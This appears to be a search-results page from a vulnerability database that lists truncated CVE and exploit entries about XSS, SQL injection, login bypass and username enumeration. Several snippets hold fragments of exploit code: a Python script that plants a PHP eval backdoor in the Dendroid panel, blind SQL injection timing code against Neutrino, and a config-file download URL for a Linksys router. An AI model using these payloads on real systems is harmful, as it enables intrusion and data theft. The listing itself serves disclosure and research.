CVE-2014-2045

Multiple cross-site scripting XSS vulnerabilities in the old and new interfaces in Viprinet Multichannel VPN Router 300 allow remote attackers to inject arbitrary web script or HTML via the username when 1 logging in or 2 creating an account in the old interface, 3 username when creating an accou...

CVE-2014-2045

CVE-2014-2045 affects Viprinet Multichannel VPN Router 300. The issue is multiple cross‑site scripting (XSS) vulnerabilities in both the device’s old and new web interfaces, exploitable via crafted usernames or other parameters (e.g., hostname, config inspect, atcommands, ping tool). Exploitation...

CVE-2015-8667

Cross-site scripting XSS vulnerability in Reset Your Password module in Exponent CMS before 2.3.5 allows remote attackers to inject arbitrary web script or HTML via the Username/Email...

dedeCMS use links to mention the right vulnerability

In the tpl. php /--------------------------- function savetagfile Save the label pieces to modify --------------------------/ else if$action=='savetagfile' if! pregmatch"^a-z0-9-1,. lib.php$i", $filename ShowMsg'file name is not legal, not allowed!', '-1'; exit; requireonceDEDEINC.'/...

Malware exploit: Dendroid

Type: Remote Code Execution Author: Xylitol import requests Add URL Set a PHP payload Go to http://website/config.php URL = 'http://localhost/Panel/applysettings.php' PAYLOAD = "isset$GET'tapz' ? eval$GET'tapz' : '" data = 'dbhost' : 'localhost', 'dbname' : 'dendroid', 'dbusername' : 'root',...

Open Source Real-Estate Script - SQL Injection Vulnerability

Exploit for php platform in category web applications Vulnerability: SQL Injection + Admin Login Bypass Date: 13.01.2017 Vendor Homepage: http://phprealestatescript.org/ Script Name: Open Source Real-Estate Script Script Buy Now: http://phprealestatescript.org/open-source-real-estate-script.html...

Malware exploit: Neutrino

Type: Blind SQL injection Author: Malwaretech import requests import time import sys waitdelay = 1 def brutelengthurl, field: for i in range0, 30: Injection = "/tasks.php?ip=1', IFLENGTHSELECT %s FROM users WHERE uid='1' = %d, SLEEP%d, 0, '1', '1', '1', '1', '1','1','1';--...

My Private Tutor Website Script - Authentication Bypass

My Private Tutor Website Script - Authentication Bypass Vulnerability: Admin Login Bypass & SQLi Date: 13.01.2017 Vendor Homepage: http://scriptfirm.com/ Script Name: Professional Service Booking Script Script Buy Now: My Private Tutor Website Author: İhsan Şencan Author Web: http://ihsan.net Mai...

FMyLife Clone Script (Pro Edition) 1.1 - Cross-Site Request Forgery (Add Admin)

FMyLife Clone Script Pro Edition 1.1 - Cross-Site Request Forgery Add Admin Vulnerability: Add Admin Exploit Add/Edit/Delete/ Category, Admin Vs... Google Dork: FMyLife Clone Script Date:10.01.2017 Vendor Homepage: http://alstrasoft.com/fmylife-pro.htm Script Name: FMyLife Clone Script Pro Editio...

DirectAdmin Control Panel 1.50.1 Denial Of Service

@@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@@@@@ @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@@@ @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@ @@@@@@@@@@@ @@@ @ @@@@@@@@@@ @@@ @@@@@@ @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@ @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@ @@@...

Stop User Enumeration <= 1.3.4 - Username Enumeration Bypasses

The Stop User Enumeration WordPress plugin was affected by an Username Enumeration Bypasses security vulnerability...

Cross-site Scripting (XSS)

jquery-mobile is vulnerable to Cross-site Scripting XSS. The vulnerability exists because it decodes the username:password of location.href in the url without encoding them first...

FAS Authentication fails with an error "The username or password is incorrect"

When we try launching application or desktop with FAS configured in the StoreFront, we get an error "The username or password is incorrect"...

DEBIAN-CVE-2016-9877

An issue was discovered in Pivotal RabbitMQ 3.x before 3.5.8 and 3.6.x before 3.6.6 and RabbitMQ for PCF 1.5.x before 1.5.20, 1.6.x before 1.6.12, and 1.7.x before 1.7.7. MQTT MQ Telemetry Transport connection authentication with a username/password pair succeeds if an existing username is provid...

UBUNTU-CVE-2016-9877

An issue was discovered in Pivotal RabbitMQ 3.x before 3.5.8 and 3.6.x before 3.6.6 and RabbitMQ for PCF 1.5.x before 1.5.20, 1.6.x before 1.6.12, and 1.7.x before 1.7.7. MQTT MQ Telemetry Transport connection authentication with a username/password pair succeeds if an existing username is provid...

SQL Injection Vulnerability in Shield Spirit Public Number Promotion System reg.php Page

Shield Spirit Public Promotion System is a product that is mainly applied to public promotion alliance. A SQL injection vulnerability exists in the username parameter of the Shield Spirit public number promotion system \php\reg.php page. An attacker can exploit the vulnerability to obtain sensiti...

ntop-ng username enumeration vulnerability

ntopng a.k.a. ntop is a new generation of cross-platform Web-based network traffic analysis and monitoring tools from the Italian company ntop. The tool supports automatic identification of useful information from the network, conversion of intercepted packets into an easily recognizable format a...

Linksys WAG120N ADSL2 + Modem Router Download Config File Vulnerability

Exploit for cgi platform in category web applications Exploit Title: Linksys WAG120N ADSL2 + Modem Router Download Config File Vulnerability Vendor Homepage: http://www.linksys.com/in/support-product?pid=01t80000003prsQAAQ Exploit : http://192.168.1.1/Routercfg.cfg Open Routercfg.cfg with Notepad...

Gratipay: User Enumeration

Dear Gratipay Team, there is a Username Disclosure of a user in your web application's Source Code . For futher detail i have enclosed the screenshot of the vulnerability . Please find the attachment !! Preventive Measure:: hide username fromm sourcr code Encrypt the username...

ntopng username enumeration vulnerability

ntopng a.k.a. ntop is a new generation of cross-platform Web-based network traffic analysis and monitoring tools from the Italian company ntop. The tool supports automatic identification of useful information from the network, conversion of intercepted packets into an easily recognizable format a...